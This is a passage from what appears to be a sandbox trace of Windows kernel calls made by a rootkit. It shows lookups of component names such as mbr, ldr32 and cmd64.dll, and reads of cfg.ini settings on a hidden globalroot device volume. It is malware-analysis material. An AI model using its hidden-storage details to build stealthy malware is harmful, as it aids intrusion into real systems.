_MaxCount=0x10) returned -9 [0124.630] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.630] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.630] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.630] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.630] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.630] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.630] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.630] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.630] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.630] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.630] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.630] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.630] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.630] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.630] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.630] KeLeaveCriticalRegion () [0124.630] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.630] ReleaseMutex (hMutex=0x100) returned 1 [0124.630] Sleep (dwMilliseconds=0x2bf20) [0124.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d7d4210, dwHighDateTime=0x1d24fa4)) [0124.636] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.636] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.636] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.636] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.636] KeEnterCriticalRegion () [0124.636] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.636] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.636] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.636] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.637] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.637] IdePortDispatch () returned 0x103 [0124.637] KeWaitForMutexObject () returned 0x0 [0124.637] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.637] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.637] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.637] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.637] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.637] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf2b30 [0124.637] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.637] KeLeaveCriticalRegion () [0124.637] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.637] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.637] KeEnterCriticalRegion () [0124.637] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.637] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.637] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.637] KeLeaveCriticalRegion () [0124.637] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.637] KeEnterCriticalRegion () [0124.637] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.637] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.637] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.637] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.637] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.637] IdePortDispatch () returned 0x103 [0124.637] KeWaitForMutexObject () returned 0x0 [0124.637] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.637] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.637] KeLeaveCriticalRegion () [0124.638] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.638] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.638] KeEnterCriticalRegion () [0124.638] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.638] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003592000 [0124.638] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.638] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.638] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.638] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.638] IdePortDispatch () returned 0x103 [0124.638] KeWaitForMutexObject () returned 0x0 [0124.638] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.638] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.638] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.638] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.638] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.638] IdePortDispatch () returned 0x103 [0124.638] KeWaitForMutexObject () returned 0x0 [0124.638] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.638] KeLeaveCriticalRegion () [0124.638] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.639] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.639] KeEnterCriticalRegion () [0124.639] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.639] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.639] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.639] KeLeaveCriticalRegion () [0124.639] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.639] KeEnterCriticalRegion () [0124.639] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.639] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.639] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf2ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.639] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.639] KeLeaveCriticalRegion () [0124.639] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.639] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.639] KeEnterCriticalRegion () [0124.639] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.639] ExFreePoolWithTag (P=0xfffffa8003bf2b30, Tag=0x0) [0124.639] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.639] KeLeaveCriticalRegion () [0124.639] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.639] ReleaseMutex (hMutex=0xf0) returned 1 [0124.639] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.639] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.639] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.639] KeEnterCriticalRegion () [0124.639] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.639] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.639] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.639] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.639] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.639] IdePortDispatch () returned 0x103 [0124.640] KeWaitForMutexObject () returned 0x0 [0124.640] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.640] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.640] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.640] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.640] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.640] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf2170 [0124.640] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.640] KeLeaveCriticalRegion () [0124.640] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.640] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.640] KeEnterCriticalRegion () [0124.640] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.640] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.640] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.640] KeLeaveCriticalRegion () [0124.640] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.640] KeEnterCriticalRegion () [0124.640] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.640] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.640] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.640] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.640] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.640] IdePortDispatch () returned 0x103 [0124.640] KeWaitForMutexObject () returned 0x0 [0124.640] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.640] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.640] KeLeaveCriticalRegion () [0124.640] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.640] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.640] KeEnterCriticalRegion () [0124.641] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.641] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003593000 [0124.641] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.641] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.641] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.641] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.641] IdePortDispatch () returned 0x103 [0124.641] KeWaitForMutexObject () returned 0x0 [0124.641] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.641] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.641] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.641] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.641] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.641] IdePortDispatch () returned 0x103 [0124.641] KeWaitForMutexObject () returned 0x0 [0124.641] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.641] KeLeaveCriticalRegion () [0124.641] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.642] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.642] KeEnterCriticalRegion () [0124.642] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.642] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.642] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.642] KeLeaveCriticalRegion () [0124.642] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.642] KeEnterCriticalRegion () [0124.642] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.642] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.642] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf2070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.642] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.642] KeLeaveCriticalRegion () [0124.642] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.642] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.642] KeEnterCriticalRegion () [0124.642] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.642] ExFreePoolWithTag (P=0xfffffa8003bf2170, Tag=0x0) [0124.642] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.642] KeLeaveCriticalRegion () [0124.642] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.642] ReleaseMutex (hMutex=0xf0) returned 1 [0124.642] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.642] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.642] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.642] KeEnterCriticalRegion () [0124.642] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.642] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.642] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.642] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.642] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.642] IdePortDispatch () returned 0x103 [0124.642] KeWaitForMutexObject () returned 0x0 [0124.643] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.643] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.643] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.643] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.643] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.643] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf2220 [0124.643] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.643] KeLeaveCriticalRegion () [0124.643] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.643] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.643] KeEnterCriticalRegion () [0124.643] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.643] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.643] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.643] KeLeaveCriticalRegion () [0124.643] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.643] KeEnterCriticalRegion () [0124.643] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.643] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.643] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.643] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.643] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.643] IdePortDispatch () returned 0x103 [0124.643] KeWaitForMutexObject () returned 0x0 [0124.643] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.643] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.643] KeLeaveCriticalRegion () [0124.643] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.643] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.643] KeEnterCriticalRegion () [0124.643] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.643] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003594000 [0124.643] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.643] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.643] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.643] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.643] IdePortDispatch () returned 0x103 [0124.644] KeWaitForMutexObject () returned 0x0 [0124.644] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.644] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.644] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.644] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.644] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.644] IdePortDispatch () returned 0x103 [0124.644] KeWaitForMutexObject () returned 0x0 [0124.644] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.644] KeLeaveCriticalRegion () [0124.644] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.644] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.644] KeEnterCriticalRegion () [0124.644] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.644] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.645] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.645] KeLeaveCriticalRegion () [0124.645] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.645] KeEnterCriticalRegion () [0124.645] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.645] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.645] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1b70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.645] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.645] KeLeaveCriticalRegion () [0124.645] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.645] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.645] KeEnterCriticalRegion () [0124.645] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.645] ExFreePoolWithTag (P=0xfffffa8003bf2220, Tag=0x0) [0124.645] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.645] KeLeaveCriticalRegion () [0124.645] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.645] ReleaseMutex (hMutex=0xf0) returned 1 [0124.645] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.645] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.645] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.645] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.645] KeEnterCriticalRegion () [0124.645] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.645] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.645] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 